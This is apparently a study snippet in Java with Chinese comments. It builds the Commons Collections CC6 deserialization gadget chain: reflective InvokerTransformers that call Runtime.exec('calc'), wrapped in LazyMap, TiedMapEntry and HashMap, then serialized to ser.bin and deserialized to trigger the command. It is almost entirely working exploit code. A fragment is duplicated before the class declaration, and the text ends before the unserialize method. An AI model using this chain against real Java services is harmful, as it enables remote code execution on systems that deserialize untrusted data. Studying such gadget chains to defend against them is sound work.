Transformer[] transforms = new Transformer[]{ new ConstantTransformer(Runtime.class), // 必须写在第一行,先获得Runtime类 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms); // 以上代码是为了实现Runtime参与序列化,反射调用RCE
Map<Object,Object> hashMap1 = new HashMap<>(); Map<Object,Object> decorateMap = LazyMap.decorate(hashMap1,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap,"aaa");
HashMap<Object,Object> hashMap2 = new HashMap<>(); hashMap2.put(tiedMapEntry,"bbb");
// 反射修改LazyMap类的factory参数 Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(decorateMap,chainedTransformer);
/** * @author shiyingai * @create 2023-03-08 2:39 */ public class CC6 { public static void main(String[] args) throws Exception {
Transformer[] transforms = new Transformer[]{ new ConstantTransformer(Runtime.class), // 必须写在第一行,先获得Runtime类 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms); // 以上代码是为了实现Runtime参与序列化,反射调用RCE
Map<Object,Object> hashMap1 = new HashMap<>(); Map<Object,Object> decorateMap = LazyMap.decorate(hashMap1,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap,"aaa");
Map<Object,Object> hashMap2 = new HashMap<>(); hashMap2.put(tiedMapEntry,"bbb");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(decorateMap,chainedTransformer);
decorateMap.remove("aaa");
serialize(hashMap2);
unserialize("ser.bin"); }
// 序列化 public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }